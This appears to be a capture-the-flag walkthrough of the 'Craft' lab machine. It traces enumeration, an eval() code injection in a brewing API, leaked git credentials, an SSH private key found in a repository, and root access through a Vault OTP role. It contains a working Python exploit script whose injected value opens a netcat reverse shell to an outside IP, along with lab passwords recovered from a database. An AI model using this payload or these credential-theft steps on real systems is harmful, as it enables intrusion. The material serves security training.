info

Target IP: 10.10.10.110

Exploitation Summary

Initial Exploitation

  • Vulnerability: Command execution on /api/brew.py
  • Explanation: The api script is testing ABV parameter to ensure value is less than or equal to 1.0. However eval function is used that allows code injection.

Privilege Escalation (user)

  • Vulnerability: critical information stored in git
  • Explanation: ssh private key is stored in git. Obtaining the private key allows ssh login to the owner.

Privilege Escalation (root)

  • Vulnerability: vault is setup to allow root access
  • Explanation: Script stored in git revealed vault is setup to allow ssh login as root.

Enumeration

nmap -p- -A -T4 10.10.10.110

nmap scan
TCP 22: OpenSSH 7.4p1 Debian
TCP 443: nginx 1.15.8
TCP 6022: ssh

Initial Shell Exploitation

Port 443 open. So let’s check out the website

The site hosts a simple page with no seemingly interesting information. But there are 2 links at the top right hand corner currently inaccessible because of unknown host name.

  • https://api.craft.htb/api/
  • https://gogs.craft.htb/

Let’s add them to /etc/hosts to see what we can find.

hosts
Navigate to both https://api.craft.htb/api/ and https://gogs.craft.htb/
api
gogs

After navigating a bit on these 2 sites, it is found that https://api.craft.htb/api/ contains some operations that can be performed while https://gogs.craft.htb contains the source codes of the operations.

Further investigation reveals that a fix on the script brew.py actually introduced a vulnerability:

brew.py fix
brew.py changes

eval() function is used to ensure valid ABV value (< 1.0) is provided. However, the user input (ABV value) is not sanitized to be a valid number. Therefore, arbitrary code injection is possible and eval() function will executed the injected code, resulting in remote code execution.

Exploitation

Let’s do a quick test on the /brew/ api by posting “abv”: “2” and see what happens.

  • navigate to https://api.craft.htb/api/ page
  • click on POST button of /brew/ api
  • click Try it out
brew api test
  • enter “2” for “abv”
  • click Execute
brew test 2

It returns a 403 FORBIDDEN error. Looks like we need to authenticate to the api website first.

brew test error

So, in order to exploit this vulnerability, we will need to find some credentials to authenticate our api usage. Fortunately, it doesn’t take long to find the needed credentials because the credentials were included in the test script test.py initially.

test.py history
credentials

credentials: dinesh:4aUh0A8PbVJxgd

What’s even better is that with a simple modification, this test.py can be used to perform the exploitation. The updated test.py is as follow:

#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
 json_response = json.loads(response.text)
 token =  json_response['token']
 headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV… should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.34 443 >/tmp/f")#2'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
  • credentials dinesh:4aUh0A8PbVJxgd is used for authentication
  • code injection: __import__(“os”).system(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.34 443 >/tmp/f”)#2 is used as the ABV value to establish a reverse shell using netcat

Setup Netcat listening to port 80 (at kali)

nc -nvlp 80

Execute the exploit

python test.py
run test.py
initial shell

Wow. Nice. We got root already. Unfortunately, after a quick navigation, the root shell isn’t on the actual shell, there’s no root.txt file and the ip address is different. Most likely, it’s within a container.

shell in container
ip address not match

Privilege Escalation (user)

More enumeration is needed. There’s a python file dbtest.py at /opt/app. It imports the mysql credentials in /opt/app/craft_api/settings.py to perform sql query.

mysql credentials

Quick modification to dbtest.py is done to reveal the tables available in mysql db:

#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, cursorclass=pymysql.cursors.DictCursor)
try: 
     with connection.cursor() as cursor:
         sql = "show tables"
         cursor.execute(sql)
         result = cursor.fetchall()
         print(result)
finally:
     connection.close()
db query find tables

The table ‘user’ looks interesting. Modify the sql command to “select * from user” and run the script again.

db query user

Found 3 sets of credentials:

dinesh:4aUh0A8PbVJxgd
ebachman:llJ77D8QFkLPQB
gilfoyle:ZEU3N8WNM2rh4T

No luck in using the credentials on SSH login. But we can login to the Gogs site using the credentials. Let’s try it on user gilfoyle.

gogs login

There’s a repository craft-infra under gilfoyle’s account. A ssh key pair is found (including private key) under craft-infra/.ssh:

private key

I copy the private key id_rsa and saved it as ‘id_rsa_gilfoyle‘ and am able to use it to login successfully as gilfoyle. Passphrase is needed which is the credentials obtained from the mysql database.

chmod 600 id_rsa_gilfoyle
ssh -i id_rsa_gilfoyle gilfoyle@10.10.10.110
shell gilfoyle
user flag
user flag obtained

Privilege Escalation (admin)

gilfoyle’s home folder has an interesting file .vault-token which has following content:

vault token

And gilfoyle’s repository craft-infra has a folder vault with file secrets.sh:

secrets.sh

After googling, it is a vault from vaultproject.io to manage secrets and protect sensitive data. The secrets.sh script shows that the vault can grant OTP (one time password) for SSH login as root. gilfoyle already has the vault token in his home folder, we can them use the following command to ssh login as root:

vault ssh -mode=otp -role=root_otp root@10.10.10.110
root shell

Highlighted string is the one time password provided by the vault for use to login as root.

Root shell obtained. Nice box. Thank you rotarydrone for making the machine.

Leave a Reply

Close Menu